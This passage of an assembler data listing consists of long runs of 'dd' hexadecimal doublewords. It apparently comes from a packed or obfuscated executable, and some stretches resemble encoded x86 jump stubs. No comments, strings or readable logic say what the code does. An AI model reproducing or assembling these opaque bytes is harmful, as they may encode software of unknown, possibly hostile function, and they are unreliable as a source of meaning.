0B448F810h, 0B5394FD0h, 3A60CBD1h dd 0DE086C56h, 60CB7416h, 91ACF93Ah, 6453A542h, 0B4384A90h dd 3A60CBD0h, 5EC56357h, 0CF6h, 760D6FE6h, 0A4C85AE4h dd 0C3941D20h, 21B553A7h, 0BD846C68h, 5E4F9DE5h, 0BD2DA157h dd 0DC87BD67h, 719C4EF8h, 0DDCA2924h, 201968C8h, 96EF1ECCh dd 45E327ABh, 0B4CFADCDh, 9AE914A6h, 0E7FD89A7h, 15446B84h dd 0DCA099E8h, 350811F8h, 64E30D41h, 0D421CC1Eh, 788D7AF9h dd 0AE6B0696h, 0C43893D1h, 0DF643870h, 0CC84990Dh, 0F4594E40h dd 0EF2397AEh, 94027C8Bh, 0D131927Dh, 0C797Eh, 24136700h dd 8AC7CE3Fh, 5C6DBC69h, 21106687h, 0F0CFD532h, 6E8DD463h dd 0DFC82B2Ah, 8F78FBC6h, 78954E79h, 38C1122Fh, 0C8C8BC30h dd 0F05FC584h, 1D27A708h, 8517C394h, 0FAF86CFEh, 75BD846Dh dd 0E52EDF0Dh, 899A0BE8h, 0CCD0C8BCh, 0A41BA5B7h, 0A7174CB5h dd 0AC38D681h, 4470EEF9h, 0A5FB744Eh dd 4A8C6D83h, 0C1007F8h, 0AAFC0000h, 50A74093h, 615F261h dd 0A7FF28CBh, 56AA5B98h, 264DF46Fh, 5182BDC7h, 81526FB4h dd 3E251064h, 6A89C4D1h, 0A7234BA1h, 28C584CBh, 0D5DEE359h dd 50A514F8h, 2448F765h, 481A9038h, 538F2C92h, 71C0EAA4h dd 0F94D7088h, 7FE76B85h, 0B950A825h, 90324099h, 678h dd 760D6F7Ch, 6D7F40E4h, 8AF0BD84h, 5560B560h, 8493028Eh dd 638DC1B5h, 0D8AC99EAh, 7B2D7808h, 2F34483Ah, 8BCAD03Dh dd 4E1B935Dh, 0F244702Eh, 50285C4Dh, 82AC8B3Dh, 0F8B2BD85h dd 0B8C6D82h, 0B70583Fh, 0A1C0000h, 0B0C72033h, 66B55281h dd 71F886Bh, 0B6CA3B38h, 86ED548Fh, 31221D67h, 61F2CFD4h dd 9E457084h, 0CA292471h, 0C7832BC1h, 48C584CBh, 50BD03F9h dd 4E82764Bh, 6D58ADA0h, 8DF96DFFh, 2C3941Dh, 303A0E38h dd 1D7A0EA6h, 0F5CDC394h, 94A1F25Bh, 112C7920h, 98A9FCADh dd 0C7C6DC34h, 0F4F18B4Bh, 400CED1Ch, 5C6C432h, 0CA540000h dd 941526A2h, 0B751A9C3h, 1D27A741h, 8517C394h, 37F86CFEh dd 88BD846Ch, 83E7D227h, 0D8DECF59h, 173115F9h, 0F60BED36h dd 3FC6C653h, 6051A415h, 0ED36D70Ch, 700C6CD0h, 819401EBh dd 4F88CCB0h, 5D1C7CA8h, 0F07A9483h, 70B4297Ch, 8B44BE44h dd 8C6DC9D1h, 0A743040Eh, 5500000Ah, 3CE90A41h, 0EA1BD8E9h dd 54B1A29Fh, 3EC774Eh, 0A61DC6F9h, 79445CBFh, 0C9F40DFAh dd 9CABFD2Ah, 605DA647h, 4AE20EF3h, 0C584CA3Eh, 0DE5AC2B1h dd 0A514F8D5h, 28916550h, 0AF1EE2DFh, 0A79B6F5Ah, 0DF1C0D6h dd 3A545153h, 8F05801Ah, 32400D5Eh, 5134Bh, 0D6F9500h dd 0B68306ADh, 40A4DB3Dh, 19E6129Ah, 7149BD84h, 0DCE93AEBh dd 0F188507h, 86C0532h, 5BBF2450h, 0EF57A0ADh, 0E7DBAF9Ah dd 57373F83h, 673A7B9Ah, 48DC0E15h, 4470991Dh, 0F4C9CE3Fh dd 0B10FD5Ah, 2A0E4236h, 6DE9A9DDh, 7F84A8Ch, 9FEh, 0B2A198EAh dd 0EC774255h, 1AD9F003h, 0B5AE95EDh, 0E67D4058h, 0AFF5085Fh dd 5DA24390h, 212F360h, 0AAFF28CBh, 0B5B7449Fh, 84C55531h dd 0F56BDAC5h, 14F8D5DEh, 916550A5h, 0ED32E361h, 717C36D0h dd 400D729Bh, 4765F32h, 0A7B90000h, 0C3941D22h, 71FB801Ch dd 846C3CFDh, 0A349B1BDh, 799FE411h, 0BD5ACF52h, 71D83C8Fh dd 61A52924h, 0F63D46C7h, 9C84C064h, 370B3A7Bh, 7B9C4B3Fh dd 82E6DC3Ah, 0D226D751h, 0BFC845E3h, 78E35882h, 176554F9h dd 4C9E729Ch, 0FDEAAC2h, 69513A7Bh, 709DFFBFh, 7B0F88FCh dd 0C73B1F3Ah, 5709115h, 85FD4470h, 6E573E4Ah, 0BA1DF58Ch dd 942h, 76EDE42Eh, 0A0B38E99h, 0DE053447h, 9EAE931h, 0BAB9849Ch dd 0E339D41Bh, 91E607DCh, 4E56B7ACh, 0F603EC77h, 79F318DBh dd 84C591F5h, 31A716C5h, 0B4A50BDh, 2A2770DDh, 97A2F7A6h dd 0B2337523h, 0D60D384Dh, 40F1032Ah, 15F2E32h, 0DE360000h dd 0A514F8D5h, 6F76550h, 4225C3F2h, 4B288814h, 49477177h dd 6905ABEh, 2EE286D9h, 8CBAB74Bh, 9F9775F8h, 2B76A7BDh dd 94384CE0h, 4B8F3A61h, 605AB957h, 4C5F4E9Ch, 9BB5897Dh dd 6194BBCBh, 0D8E53A3Ah, 467D8574h, 404D47F2h, 7C892BCEh dd 35966584h, 254C2Ch, 6FA80000h, 39E4760Dh, 0B436D0EFh dd 9F058130h, 2094EEBDh, 60CB4000h, 0FE0F953Ah, 35C6E30Ah dd 0BBCE2Ch, 0DE160000h, 8372F8D5h, 91F55970h, 0D62A9377h dd 6AD11BEFh, 0D5590248h, 0C39412B1h, 8633CC36h, 0FA53FDC0h dd 593347A9h, 0FBFC7499h, 5CA85587h, 8FB99D61h, 61C1D2BBh dd 70543817h, 0FD417C89h, 28BEA599h, 0C3946851h, 79FAD720h dd 16C45F3Dh, 0DFA39EE7h, 0CB0212FBh, 0BE50347h, 99CC64E3h dd 4F9DE5BDh, 0AAEE5A5Eh, 0E5DC22ABh, 6FB55281h, 0D1DB9750h dd 2A18865Fh, 7F955h, 0A493E700h, 0A474EBFh, 0DCED3CE9h dd 0A190E607h, 704F55B2h, 0EE0D54E3h, 5F48ABAAh, 0FF87B46h dd 0F815CEF9h, 0B84192AFh, 0C7483CB0h, 70DFC584h, 0FBDADE88h dd 4F7A8F78h, 1425709Dh, 21C26CA0h, 0F8D5DED3h, 6550A514h dd 0C0FD06F7h, 75EE187Ch, 81C569FBh, 6C3941Dh, 9C605FA9h dd 0B5AA44B8h, 258h, 760D6FDFh, 0B4140E4h, 0F4CEBD9Fh dd 0B1853A00h, 0AB9E13CFh, 2B5B2BC5h, 0FE3A6087h, 8C76CD72h dd 0DE87BF46h, 9D777630h, 2C356E6Ch, 20145h, 20A7A300h dd 1EC3941Dh, 0FF77E57Eh, 0BD846C38h, 2BC977E4h, 608DF13h dd 4DE16BE8h, 3A7B5539h, 8A50B48Eh, 4D788D78h, 6C59AAA3h dd 0EB0D16F7h, 0E4336B81h, 53271B17h, 0CEC07F89h, 0AA77C6F0h dd 673A4E86h, 7B833A7Bh, 6987FB44h, 0A2CA4755h, 3A7B6726h dd 630F8AA9h, 0BCE935BDh, 7EF66458h, 44702C8Fh, 0B72D3A00h dd 448C6E2Eh, 6F409CEh, 96E00000h, 3C4BA4BFh, 0EA39D60Dh dd 9BE30CD7h, 4A4EBFA4h, 269E80Bh, 0B5AE91EBh, 0E57E4358h dd 12C1FC08h, 4E95A0F5h, 4307AFBDh, 0C4C584C6h, 0D5DE8F75h dd 50A514F8h, 0FB03ABF0h, 381CE0C4h, 608416C4h, 0C3941D64h dd 917997EBh, 3BE0ED27h, 0F400D3EEh, 3240F155h, 5865BA6Bh dd 1302BAEh, 1A410000h, 8DB7422Dh, 0FC628C3Dh, 92FE1EBDh dd 0B3DA44D6h, 526FB895h, 0DFEA3FEEh, 39425A04h, 9336BB33h dd 0E807BD9Fh, 561C63B0h, 0D5B99DE8h, 61546D1Dh, 0EDF8B83Ah dd 3555F617h, 34D32Ch, 5C490000h, 0B4887C4Dh, 0D6FA49Ah dd 0D140E476h, 5EBD9F05h, 0CB6E1A92h, 99E13A60h, 7111D1A5h dd 0A43A60CBh, 0F21BF1FCh, 0C82C35C6h, 4EF8C7DDh, 948Bh dd 0D5DE5500h, 5FA514F8h, 0D82D9C60h, 67B019EDh, 7C65896Ah dd 0FFC393EBh, 1A449FAAh, 0FB73F982h, 4266220Ch, 81604BF0h dd 799B4B2Ch, 33C1DBDh, 0F202BC50h, 0CA49E7DBh, 64B31D65h dd 0CF1D7155h, 78FBDADEh, 0BD4A758Fh, 86611931h, 0CF0FC042h dd 0BD000005h, 64815269h, 0D2332011h, 0BC698AC7h, 6B845F66h dd 8E352E11h, 417C8467h, 112C7592h, 0E4D325C2h, 48858E7Fh dd 628A66ABh, 0C584C166h, 0DEA21AE9h, 0EC78FBDAh, 5A5AF4Fh dd 6F998A82h, 0BBB8959Eh, 6DD5DE5Dh, 3357DF14h, 0B4C3941Dh dd 0A2E66A4Eh, 613FA4Eh, 977B5A5Eh, 8845FB3h, 275F85D3h dd 14328EA3h, 272Fh, 1EBD4900h, 565E7F86h, 927B9585h, 0FBD62181h dd 344A3317h, 0F4A5290Dh, 0E22296A3h, 0C3D43DC8h, 46966DF6h dd 3E000000h, 0F923D5DEh, 4980DB57h, 3C16D52Ch, 533F0C03h dd 2A5B8B7Fh, 0ADC394EFh, 339A6E55h, 0F3971FE0h, 74C394EFh dd 6CA62A0Eh, 0C5C7BB4Ah, 7C8E1293h, 94EF9CE8h, 12F13C3h dd 0B438FB0Ch, 0C394EFD0h, 0D40F6357h, 4150BD2Ch, 89B8408h dd 0D3FFD4A3h, 69E40266h, 0A93B211Ch, 94234105h, 52FCC6C3h dd 45DEBEFEh, 52A61F97h, 43B7BD84h, 2E1B6C99h, 29CFD835h dd 6B1798ADh, 0C2B6AAF4h, 0A349D2AAh, 4CE99D11h, 47E3A7Bh dd 0F6EC00EAh, 24446B3Ch, 0F309A3F9h, 200478CCh, 71CE785Ch dd 0E132E309h, 959E0FD4h, 0C8D4D4B8h, 2805A9B3h, 3D4E419Bh dd 0E7860AC5h, 45CD927Eh, 48182h, 2C1B6F00h, 0F2CFD637h dd 44758461h, 29286E9Fh, 0F8C7DDCAh, 7695DC7Bh, 27C01322h dd 9770E3DEh, 40ADB681h, 30D91A37h, 0C0D0B438h, 0E857C584h dd 6DD5DE70h, 64582C1Bh, 0E132D300h, 6CB960D4h, 4F4A458Ah dd 766AAAFBh, 0D3D2D482h, 77ECD92Ah, 78C246F5h, 724642CAh dd 0B5A18303h, 36D034A4h, 415A25C4h, 430C32h dd 6FE80000h, 40E4760Dh, 0BD9EE1D7h, 0C213B958h, 7FCD6581h dd 96A16662h, 0C6037F9h, 0EED92FDEh, 0FE3E175h, 11623A60h dd 0E66A69B1h, 0F1C8DBA2h, 0ED5C90Dh, 0D4B897E1h, 3DD73h dd 0EB3CE900h, 0F8166ADEh, 0F8D5DE02h, 0C4D7C614h, 0A1F25BF5h dd 285CD062h, 0BFC3941Dh, 1DFF8B5Bh, 0D170C394h, 0CE203484h dd 0C5391D88h, 273C401Eh, 0FD2CB135h, 3901BD9Fh, 0C3ED9D55h dd 1B6C3A61h, 32F8B2F5h, 83E70C80h, 0F464E3Fh, 54514BBBh dd 109D073Ah, 0E7355388h, 8B348C77h, 94AE35Dh, 3E672C36h dd 0F5000000h, 22CCFD08h, 760D6F3Ch, 5D140E4h, 645EBD9Fh dd 0C6F107F6h, 40002028h, 0C13A60CBh, 8FFB73B8h, 3A60CBh dd 8B72C63Ah, 0BBFE427Dh, 0FF126C79h, 39D028A5h, 102C35C7h dd 0E6h, 0F8D5DEFCh, 605FA514h, 36D82D9Ch, 56580654h, 0BBA185FDh dd 94673004h, 21CF3BD0h, 1A374029h, 0FBD625D0h, 7D04AA4Dh dd 9FC394CEh, 0CCED990Dh, 1862C394h, 3F0A1FEEh, 83BECB24h dd 869DFF3Fh, 0FB29D054h, 6786BD9Fh, 570D1A87h, 0A4B693h dd 3A61A344h, 4093F7CBh, 6FFD8616h, 6C3506C7h, 0A9B38744h dd 0EC1A277Ch, 0B6899302h, 0AEF223ADh, 41EF2397h, 7E89B4CCh dd 8C6A575Ch, 0B7DCB397h, 0A5000002h, 0CF97A51h, 0FA2BC8F9h dd 0A44192AFh, 13FC675Eh, 962D3609h, 6954AC4Fh, 39041D8Ah dd 8CBBCD3Ah, 506DB657h, 7AF27E83h, 0C584C20Eh, 0DE4A3281h dd 94E00DDAh, 1DDDA9B9h, 6852C394h, 0F53EEF74h, 1DC2862Eh dd 7D45C394h, 3C4EDA19h, 941DDCA8h, 0D2B63EC3h, 55C3941Dh dd 0EA3D926Dh, 33176BDFh, 1EBD2F15h, 0E434F1A0h, 0CF2DC8FFh dd 21AEB34Ch, 19633BD5h, 0E554D802h, 4ABD9F0Eh, 24A48C70h dd 0F13A60FCh, 896FBA6Bh, 1D77D04Dh, 0CE785CE8h, 0A23D9D4h dd 272C3517h, 0C6h, 0C3D48B5h, 0D5DE7CE2h, 0CB2F1A6Dh dd 0ACDFBA21h, 52F733CDh, 97ED5CB4h, 0E5D9E43Dh, 6D88D111h dd 0DE2BC394h, 829770E3h, 0C279C3B7h, 4CE0EACFh, 0C3944638h dd 458C4B8Fh, 3A82ACF6h, 8113D962h, 278BFF77h, 261CC394h dd 10957C08h, 106ABD9Fh, 0F2CDDBCAh, 0B9C39354h, 3634B8A2h dd 39446CAAh, 78736C1Ah, 5ABEA13Fh, 201F6590h, 0F7CED233h dd 6AFA9478h, 0F85FAB8Ch, 19Eh, 0D201384Ah, 0CD7E235h dd 0BAB990E3h, 0D50E354Dh, 6DDE038h, 4F55A8BFh, 0FD02E370h dd 0A2F213C0h, 4A5F48ABh, 0D517E47Fh, 84FD3551h, 55CBBAC5h dd 9B9E1EBDh, 0B7F7931Bh, 278C394h, 0A80171F5h, 4A758F7Eh dd 1E2B7CA9h, 0D5DE3FC5h, 50A514F8h, 0B5A9A4F0h, 193441AEh dd 0C72775B5h, 1B93D016h, 0C394406Fh, 27D9AE0h, 0C7150996h dd 9FF312AFh, 0AB1F63BDh, 71FB0A8Eh, 0AA447584h, 0F87B56A3h dd 789EDEBEh, 63D62C95h, 9B13D93Dh, 446AA3BEh, 16C74B8Fh dd 615CA50Dh, 5349B90Dh, 0FB801C52h, 7AD8FD71h, 8EAD4E75h dd 7ACB17F9h, 0A6BD91F4h, 0D77BB52Ah, 2610DF21h, 0C5F00508h dd 65618517h, 0EA2E4B25h, 2B927690h, 0E31EE2DDh, 0AAFF24A1h dd 0EACEFB0Ah, 0B18C9500h, 845F89CDh, 0B3B9C2DAh, 4017863Bh dd 0F20BFA50h, 0D5077BCFh, 40053551h, 0A640BA24h, 3CED51A9h dd 0E10CDEEBh, 848CBA99h, 0D48A1B99h, 7CA9B3C8h, 54A81C2Dh dd 51A6E86h, 95ED2440h, 0C07DF17Bh, 385A4B37h, 1D2C7FAEh dd 5CE5B1D5h, 33CC3622h, 0DF058AA7h, 33103E22h, 239814CFh dd 0FA1755B5h, 0CFCF79E3h, 204496ADh, 5C4C2D71h, 0C45684FEh dd 236C24A0h, 0B2C2AB18h, 8189A79Bh, 61F2CFD8h, 0F2467384h dd 3C681072h, 97160CAAh, 6ABD256Eh, 0B397EB5Fh, 73247A0h dd 56B4CAB3h, 2880D91Ch, 0F75BBF0Ch, 0F074864Ah, 4A0CE494h dd 0AF09271Bh, 91ACF91Eh, 78455A4Bh, 0AFF815CEh, 3692E92h dd 0F3000000h, 0D4DE9C84h, 57A009FDh, 0D127967Ah, 52AB12E6h dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h dd 68CF7BCFh, 70E4h, 51241C89h, 0C181E189h, 4, 8704E983h dd 895C240Ch, 0C468241Ch, 8900003Ah, 68522404h, 25EF4464h dd 81DAF75Ah, 0F16A2BC2h, 0F2814A61h, 3A12F4B6h, 148BD389h dd 4C48324h, 24048B54h, 6804C483h, 0E65h, 8F241C89h, 48B0840h dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 241C8B5Ch dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 0FA9C62E9h, 128332FFh dd 0D7E63EACh, 57B8A227h, 30610E2h, 0F0E0FFC5h, 0C44FC760h dd 7E0343CDh, 0A655827Bh, 88548A55h, 4C3BFBE3h, 0B174EC9Dh dd 0CA44362Ch, 2B647766h, 9405BA7Ch, 0DE7D354Eh, 580406ABh dd 6262A64Bh, 0A46F5423h, 8D701DBBh, 10E3D08Dh, 0E9852906h dd 8B060B15h, 0B084DBDh, 4D8D8906h, 6A060B17h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0F641C357h, 0C9170E1Ah, 757AE781h, 85C773A1h, 60B0119h dd 59C4h, 985C7F5h, 60B10h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 4A1CC356h dd 1A49B5FFh, 0BA52060Bh, 1B113EDCh, 0C595FF58h, 6A060B0Ah dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 669AC353h, 9D89C38Bh, 60B075Dh, 0FF006AF9h dd 0B32DD95h, 0EBC08B06h, 414EB70Dh, 1C35C661h, 0E3FF9922h dd 8EB3233h, 3EA44F4Ch, 2400000h, 0C32E9h, 0E5B26800h dd 3AE90610h, 68FFFB5Fh, 610E69Ch, 0FB5F30E9h, 0E81568FFh dd 26E90610h, 68FFFB5Fh, 610E8BEh, 0FB5F1CE9h, 0E95668FFh dd 12E90610h, 68FFFB5Fh, 610EB78h, 0FB5F08E9h, 0EC3268FFh dd 0FEE90610h, 68FFFB5Eh, 610EDACh, 0FB5EF4E9h, 0EEB168FFh dd 0EAE90610h, 0FFFFFB5Eh, 0B8BB0482h, 73F6413Dh, 323582FCh dd 0F46FD8B6h, 0A0AD1A74h, 6B639B8Fh, 0A620599Ch, 0E2DC1ED9h dd 229CD215h, 77E09C55h, 7BAE40AAh, 0B49DC0C9h, 7E5836h dd 9D5D4AD7h, 66916975h, 0F873F4AAh, 838C6C9Eh, 0D20C8AE0h dd 4FF8D611h, 0AC14CAE0h, 9D5CF6BBh, 0C9C52475h, 3513CF33h dd 0E0DE1CD7h, 9E69964Ah, 4F8A588Ah, 4C41E97Fh, 783E41AEh dd 48A1A29Ch, 0A40FC14Eh, 6F91E513h, 0D054A7BDh, 53F9D517h dd 0E64D60EFh, 0B9BC0E62h, 41h, 9F637B5Eh, 7436B6A1h, 0A03B4F8Ah dd 0EB7C2246h, 4A741341h, 0B91555EEh, 33842FDDh, 216F91F7h dd 7B53AAC9h, 94EA6D9Fh, 8EBC1A5Dh, 6254F652h, 0BC0305F4h dd 97FC55A4h, 8BC0E54h, 0E9h, 5836B42Dh, 229EE87Eh, 0D1A1B00Bh dd 99D16A26h, 36B40F3Dh, 538409DAh, 0BAA7759Eh, 76878983h dd 403C1C3Eh, 89DB11AAh, 522C1B3Fh, 8DB355Ch, 759DF683h dd 3CCA890h, 9DF374F0h, 52AAAD75h, 0DD6AD674h, 1DEAE41Ah dd 2AA4DAh, 0AA846E70h, 8B07E5B9h, 52E0C4Fh, 6F92C778h dd 0E894A39Fh, 5B83A710h, 0F3AEB997h, 0E84984F4h, 0D6303610h dd 6430C375h, 58B61621h, 0CB615D9Fh, 0ED0DE817h, 0ABC32691h dd 0B25836B4h, 250924Eh, 9E45A02h, 9CBA263h, 0E9060000h dd 0A4C722EDh, 639A5D2Ah, 1D599C6Bh, 0DB13D6A1h, 0F63B14E3h dd 3CCCA22h, 400F87E0h, 0FC4B43A5h, 3C8B0379h, 119E4937h dd 267BAE42h, 9651746Bh, 16D17E58h, 24E97AD6h, 33759D5Dh dd 5D159A4Dh, 0DE22759Dh, 3E398662h, 1B79C6C0h, 1926A0D8h dd 9F637BA2h, 7436B6A1h, 0C73B4F8Ah, 34398225h, 65536F92h dd 334FDC07h, 94646F92h, 0D326956Bh, 0BC0E1768h, 0B03Bh dd 36B4DC00h, 81E57E58h, 0C3BE705h, 2B3C1A40h, 759D5C66h dd 3492EA8Dh, 0B434AF58h, 3BBF30DAh, 77759D59h, 37329DF9h dd 5B2FDDB9h, 9641BF83h, 4F8A6DFAh, 222503FFh, 4093CDC9h dd 6F922DBBh, 68D760D8h, 78569C42h, 845E27EFh, 0E8C63A49h dd 0C8B70F6Fh, 0E073CD2Dh, 69847E1Bh, 7DEFE701h, 27837F9Dh dd 5AB1592Dh, 79D476E4h, 8E1h, 0CFBD328h, 47308EE9h, 86714DACh dd 0C08F0763h, 7EC9C525h, 0B434E011h, 718A6DDAh, 2D4FAA15h dd 0ED03E651h, 53CD2691h, 0AE42FB80h, 6E91187Bh, 0ED5A34B4h dd 2D9AF40Ah, 0F4D2142Fh, 7582FC7Fh, 3F36B40Eh, 0F72BC1BDh dd 106EF11Bh, 0F97A58B6h, 37EB017Dh, 9D5D5F2Ch, 7B847475h dd 0FA40A68Ch, 45A8BE9Ch, 99F521Dh, 6B7E03D4h, 0A595759Dh dd 0A7AB3EC9h, 6E4F8A79h, 3E3591D5h, 0F62AC0BEh, 0A9C19749h dd 1E87B6DEh, 3AF48B94h, 5CB62934h, 7BF14AE0h, 3BB1B403h dd 9606A943h, 0ADC6BBF7h, 0E6C4408Bh, 4BB6B07Dh, 43C81BE8h dd 50E84BB7h, 61EE52E8h, 0A16E6886h, 3871ADA3h, 0DC84257Eh dd 0DAC71E2h, 77CBE84Ch, 0F7CF2DC8h, 0F4A9255h, 4AC2E84Ch dd 0AACC077Fh, 2A40232Ch, 0EA00E3ACh, 93BCB2ECh, 836E985Bh dd 812AE611h, 0E84BE835h, 0C958A301h, 6C6CDBB3h, 0A3591EBh dd 97B5116Fh, 3917DB03h, 38F1062Eh, 0C9271BC2h, 7993EB0Eh dd 0A3877681h, 0BB99F73Bh, 23413CB5h, 1621C170h, 2D58D343h dd 0D872CEBCh, 890561E2h, 0C590BF63h, 0DC355A75h, 9D8F0761h dd 0A209EDAh, 36F0DB99h, 0E9408B41h, 4F6AED82h, 47925h dd 0D7A43200h, 0D5759D5Ch, 759D6E84h, 9D49E142h, 4A86D775h dd 4B93759Dh, 7E5E89E7h, 734F8A3Dh, 0F1FBB58Fh, 7A10DE4Ch dd 7689Bh, 724CA100h, 8F076285h, 0C8C625C0h, 680E47Fh dd 403EBEB9h, 4D5996F7h, 3E6512Dh, 0C023ECEAh, 845F28A6h dd 4A9F6866h, 4474392Ah, 0E837BAEh, 5836B4D7h, 0F00BCCB2h dd 7B847496h, 6D4BAF37h, 8CBA59FAh, 2D9A664Fh, 0D40A01AAh dd 1B27306Eh, 0E2497991h, 46880661h, 0F62EBB1Dh, 0FEA2AD76h dd 0C7232402h, 16C140CFh, 981FBC84h, 85E3479Fh, 0CF2DE52h dd 0ADCC0794h, 0E17A26D1h, 3C1C0E88h, 8DEAA40h, 9713C422h dd 928E0159h, 0D4FA70AEh, 0FB0D9A6h, 292AAA55h, 0E90CFBD3h dd 79393B93h, 8E9FD5CEh, 6BF211Ch, 0F50A0000h, 0B0CB2E99h dd 6F8E69D6h, 294DA817h, 0E707E2ADh, 22F20EFh, 0FF8D616h dd 4C3B93D4h, 88774FA9h, 0C8B70F6Dh, 1DE27523h, 3A7BAE45h dd 637B0077h, 0E60482F8h, 0F7605E3Ah, 4F8A6AEBh, 4718320Eh dd 24BFAD29h, 9C27C5C1h, 0ABC8625Ch, 48BC6655h, 15C92396h dd 5C60F32Dh, 79497F58h, 9A233681h, 58698739h, 698737D3h dd 0C6AD016h, 76957ADBh, 5FB98143h, 798F6A89h, 0DE698974h dd 0A7F3B932h, 992F6375h, 0B56375A8h, 0DF855F37h, 3CEA6986h dd 6274F8Eh, 8DE20000h, 48A34631h, 766814Eh, 0C125C08Fh dd 7FFF7AC5h, 9A57B807h, 0A7106E8Eh, 0E4532B4Ch, 20EFE701h dd 602FA7C5h, 0B57AED8Bh, 0C27BAE45h, 637BA8CFh, 43A6A19Fh dd 0CF88F021h, 0F551B218h, 7C5CEB57h, 8DB24AEBh, 84AF8D4Fh dd 6F8D70F7h, 11C23C1Ch, 6F8D708Ch, 0F4A857ABh, 1F5DE604h dd 0ED2D8A7h, 5A52914Ah, 8F6BE3BCh, 2AA4DA9Dh, 6A649A5Dh dd 85017FC0h, 3D99DC67h, 0DA36B40Fh, 8D858409h, 0F3AF936Fh dd 6B638659h, 0EF9960C0h, 3849B088h, 1D7BC4C2h, 1A25A1DAh dd 12C52C97h, 8DEF68BCh, 0D2110631h, 26000001h, 0A19F637Bh dd 0C14E48A6h, 663010C3h, 0CD4D4F8Ah, 4741945Fh, 8DCB6F92h dd 0B755314Ah, 0D524BC4Bh, 0A19F637Bh, 2DF26543h, 4A6F9246h dd 87FF7DF6h, 0FF8AB565h, 497F4FD7h, 3F3816EAh, 0F028C2BCh dd 0DF1DD847h, 302DF265h, 0F64A6987h, 2FC24F98h, 69D16987h dd 0A6C49F8Dh, 0F675CE28h, 0AA806F98h, 0B290CE34h, 13690EBCh dd 0B946CA2Fh, 73A0DA2Eh, 0D973CF43h, 8E0860E3h, 0C093BC9Ch dd 637BA177h, 12C52311h, 637B9F8Dh, 0D3A956AAh, 42BBBCE8h dd 34F96A44h, 43637BA0h, 0F65D50FFh, 0A9C824A6h, 49h, 0F8637B4Eh dd 5EE40680h, 0E46C446Fh, 6BC7A3E2h, 86192F0Dh, 0A3E5506h dd 281DE275h, 0C63A759Eh, 0D20ADD6Ah, 0DF4F8B3Eh, 0D566C963h dd 836F92FEh, 7BFC6E68h, 4638905h, 74CBBD0Ch, 4FB40DFCh dd 0D0BC0D4Dh, 0CEh, 0E07351E5h, 759D5D1Bh, 5CAE73E4h dd 75C5759Dh, 0E0DE1CC7h, 0D3A964Ah, 90BA146Ah, 0EDBDAFCFh dd 0F872F209h, 99CB5083h, 10E8759Dh, 0A932D8B4h, 0ED17B53h dd 2B2996F0h, 54F6D028h, 4C885BE4h, 60759D96h, 0EFC38C0Ah dd 0D9A6B1F7h, 0FE759D94h, 2EA8C102h, 0BDC31472h, 44F8FC5h dd 0E4703D26h, 0BB876F8Fh, 0E68D08Ch, 6ED9B535h, 0F848D86Eh dd 6876F95h, 2A723F28h, 0B9816F90h, 3B93EB8Eh, 4F048D39h dd 0CD08A2DEh, 405h, 68D7AFCCh, 0A36C6A8Dh, 0E2AD2940h dd 1CEBE307h, 5A25A1D9h, 90E8BC75h, 4DAE4936h, 9638671h dd 0C927C28Dh, 8FE902CDh, 0AE47D7A4h, 4AADFC7Bh, 0CAC49B51h dd 838DFA97h, 1D79F174h, 5D39B7B2h, 36B48BF2h, 87E57E58h dd 8B4C000Fh, 293F1975h, 21DC5BCFh, 0CC3BC45Ch, 0DE13A4D5h dd 0C624759Ch, 9CDC901Dh, 7C5A9E75h, 2D562DEh, 759CDDB9h dd 5AB47E60h, 0DD26EB7Ch, 0CD4D759Ch, 0E3644242h, 0B6370C8Ah dd 41CE32D8h, 8C3A0DB6h, 0F775CE4Fh, 26CC709Fh, 2B8C10BFh dd 4CFE5A26h, 3B93D56Eh, 941E2911h, 0A58EE852h, 4978CE89h dd 20B68C8Ch, 37E45E80h, 34BB895h, 69860000h, 2447A26Dh dd 0E31ADDAAh, 9DD91CEBh, 5B935621h, 76BB9463h, 834C4AA2h dd 0C08F0760h, 7CCBC325h, 0BC0B83F9h, 911EC9B7h, 0A67BAE48h dd 9651F4EBh, 15D07F57h, 8A4DFFD7h, 0AFAD1A74h, 5D19E671h dd 0C23E759Dh, 81697D35h, 5868BCA7h, 0FD5D4F8Ah, 0DB7D4D83h dd 76C76262h, 3B3894F2h, 0F424C6C0h, 9D2E814Bh, 4B6F916Bh dd 2CB75531h, 895FCDC9h, 735CD58Fh, 263C127Dh, 966ED1D3h dd 0A265CE23h, 46C6BC0Eh, 0DF000000h, 0A19F637Bh, 0BF4846A6h dd 73D616C1h, 0E5DB4F8Ah, 9232AD72h, 40CD166Fh, 576F9233h dd 418351EBh, 0A3025AFAh, 0C369C5A1h, 0E7B4BF9Dh, 0C6F91F2h dd 0E770030Ch, 816F91F3h, 0C229804Bh, 65BC0E57h, 0E5h dd 5836B472h, 92D129B2h, 10C8625Ch, 61995AB4h, 0AD36DA65h dd 4C97F54Fh, 759D5CBFh, 32FF64D4h, 41759D5Dh, 95BCC693h dd 63DF1EA6h, 9CD26587h, 46825522h, 7A759E3Dh, 3A3D8A04h dd 8EECCAC4h, 9E3BD8A5h, 6B302375h, 88759E3Bh, 89B68AB0h dd 0A02BB3C7h, 0B0EE4A44h, 78569152h, 16E16ED2h, 4F8B4A1Eh dd 0EBE304DFh, 7E58A05Ch, 0FD0A84E5h, 0B5350E0Eh, 62842ED9h dd 2944C91Ah, 0EF536F93h, 0DA12D533h, 65924EFCh, 55ECFC67h dd 79C14985h, 0A8A4C41Fh, 8575F2BFh, 5D390169h, 9FF777F2h dd 59B93D45h, 0DD38D2E4h, 1D1h, 1CEBE318h, 57209ED9h, 96615D9Ch dd 0D0BF1753h, 0EF9D515h, 0C424F001h, 81FA7DCAh, 3DBFBA05h dd 0FD73F641h, 433D3681h, 0AE4A0B90h, 7E61287Bh, 0ED5A34B4h dd 2D9AF40Ah, 9F637B36h, 0B48D43A1h, 6ED2BBA0h, 1592631h dd 827E759Eh, 0E4E1926h, 34F8B18h, 0A0A62058h, 0D2EC4CCFh dd 33D9B502h, 15718A4Dh, 0A463283Bh, 88706F92h dd 0A563F47Fh, 0F70D6F92h, 0A746AD04h, 0F84EBC0Dh, 1118784h dd 9A8BB424h, 0B6h, 0FD6644A2h, 6F92C630h, 